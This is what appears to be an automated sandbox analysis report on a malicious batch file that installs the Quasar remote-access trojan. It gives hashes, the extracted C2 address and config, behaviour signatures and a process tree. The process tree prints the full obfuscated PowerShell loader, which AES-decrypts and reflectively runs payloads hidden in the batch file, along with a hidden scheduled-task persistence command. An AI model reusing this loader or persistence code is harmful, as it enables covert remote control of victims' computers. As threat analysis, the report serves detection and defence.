Analysis

  • max time kernel
    84s
  • max time network
    72s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-05-2024 11:51

General

  • Target

    RuthlessBAT.bat

  • Size

    1.7MB

  • MD5

    a86b86c2e7182356c6149674ddc26848

  • SHA1

    322292824444ca6a442f881498baac17506eea34

  • SHA256

    918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036

  • SHA512

    2111dd5b4b2ab69980ec8b8a851c2ca29aa97a14585535ff2af1b70432f741126578db5f6c50f8cd3623a7f6a27a8fb4ef8275a536b67415abba24dec7f5e3a9

  • SSDEEP

    24576:2b0CZMqoDtzIt2Ipwh+o4w8VV3fgRihOuReKlOX1+ZfHR9QaAHfimfoK6+nZq:2PcY2lMtYXQZg2

Malware Config

Extracted

Family

quasar

Version

1.0.0

Botnet

SLAVE

C2

193.34.77.188:6969

Mutex

709ae576-840d-4df5-9c14-3fb7e062cf25

Attributes
  • encryption_key

    8B3D2D2549599D0ED109F63D47FFC788BAA34A06

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Ruthless Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RuthlessBAT.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Local\Temp\RuthlessBAT.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:3788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_182_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_182.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2392
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_182.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1740
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_182.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4468
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Roaming\Windows_Log_182.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
              5⤵
                PID:4392
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:680
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /4
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:340

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        3KB

        MD5

        661739d384d9dfd807a089721202900b

        SHA1

        5b2c5d6a7122b4ce849dc98e79a7713038feac55

        SHA256

        70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

        SHA512

        81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
        Filesize

        2KB

        MD5

        005bc2ef5a9d890fb2297be6a36f01c2

        SHA1

        0c52adee1316c54b0bfdc510c0963196e7ebb430

        SHA256

        342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

        SHA512

        f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3phsoaco.nyv.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Windows_Log_182.bat
        Filesize

        1.7MB

        MD5

        a86b86c2e7182356c6149674ddc26848

        SHA1

        322292824444ca6a442f881498baac17506eea34

        SHA256

        918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036

        SHA512

        2111dd5b4b2ab69980ec8b8a851c2ca29aa97a14585535ff2af1b70432f741126578db5f6c50f8cd3623a7f6a27a8fb4ef8275a536b67415abba24dec7f5e3a9

      • C:\Users\Admin\AppData\Roaming\Windows_Log_182.vbs
        Filesize

        115B

        MD5

        c690b8c1c937d1bea98705c73c7da665

        SHA1

        e2865bf5603ac182f0c4ace465462c7bbed95fe1

        SHA256

        fef0767e980eea9fcd65d41cef03bfaffd39780c65fd7970d98c69bc1408a426

        SHA512

        56dbb94a58effe6491a86a97736a0bdb2644b49c0b6a4b1e8f8fc2ae78d5f47055c4f47efd3af359f25402357a74013a0288a63f8518f7634e83f57f214c3a17

      • memory/340-58-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-59-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-62-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-50-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-61-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-51-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-52-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-60-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-56-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/340-57-0x000001ECEF5D0000-0x000001ECEF5D1000-memory.dmp
        Filesize

        4KB

      • memory/680-67-0x00000133B46E0000-0x00000133B48A2000-memory.dmp
        Filesize

        1.8MB

      • memory/680-64-0x00000133B3590000-0x00000133B38AE000-memory.dmp
        Filesize

        3.1MB

      • memory/680-65-0x00000133B3DF0000-0x00000133B3E40000-memory.dmp
        Filesize

        320KB

      • memory/680-66-0x00000133B3F00000-0x00000133B3FB2000-memory.dmp
        Filesize

        712KB

      • memory/680-70-0x00000133B3E40000-0x00000133B3E52000-memory.dmp
        Filesize

        72KB

      • memory/680-71-0x00000133B3EA0000-0x00000133B3EDC000-memory.dmp
        Filesize

        240KB

      • memory/2132-13-0x0000027753FB0000-0x0000027753FF4000-memory.dmp
        Filesize

        272KB

      • memory/2132-6-0x0000027753BD0000-0x0000027753BF2000-memory.dmp
        Filesize

        136KB

      • memory/2132-11-0x00007FFD07FF0000-0x00007FFD08AB1000-memory.dmp
        Filesize

        10.8MB

      • memory/2132-0-0x00007FFD07FF3000-0x00007FFD07FF5000-memory.dmp
        Filesize

        8KB

      • memory/2132-12-0x00007FFD07FF0000-0x00007FFD08AB1000-memory.dmp
        Filesize

        10.8MB

      • memory/2132-14-0x0000027754080000-0x00000277540F6000-memory.dmp
        Filesize

        472KB

      • memory/2132-63-0x00007FFD07FF0000-0x00007FFD08AB1000-memory.dmp
        Filesize

        10.8MB

      • memory/2132-16-0x0000027754100000-0x0000027754240000-memory.dmp
        Filesize

        1.2MB

      • memory/2132-15-0x0000027753D60000-0x0000027753D68000-memory.dmp
        Filesize

        32KB

      • memory/2392-32-0x00007FFD07FF0000-0x00007FFD08AB1000-memory.dmp
        Filesize

        10.8MB

      • memory/2392-29-0x00007FFD07FF0000-0x00007FFD08AB1000-memory.dmp
        Filesize

        10.8MB

      • memory/2392-28-0x00007FFD07FF0000-0x00007FFD08AB1000-memory.dmp
        Filesize

        10.8MB

      • memory/2392-18-0x00007FFD07FF0000-0x00007FFD08AB1000-memory.dmp
        Filesize

        10.8MB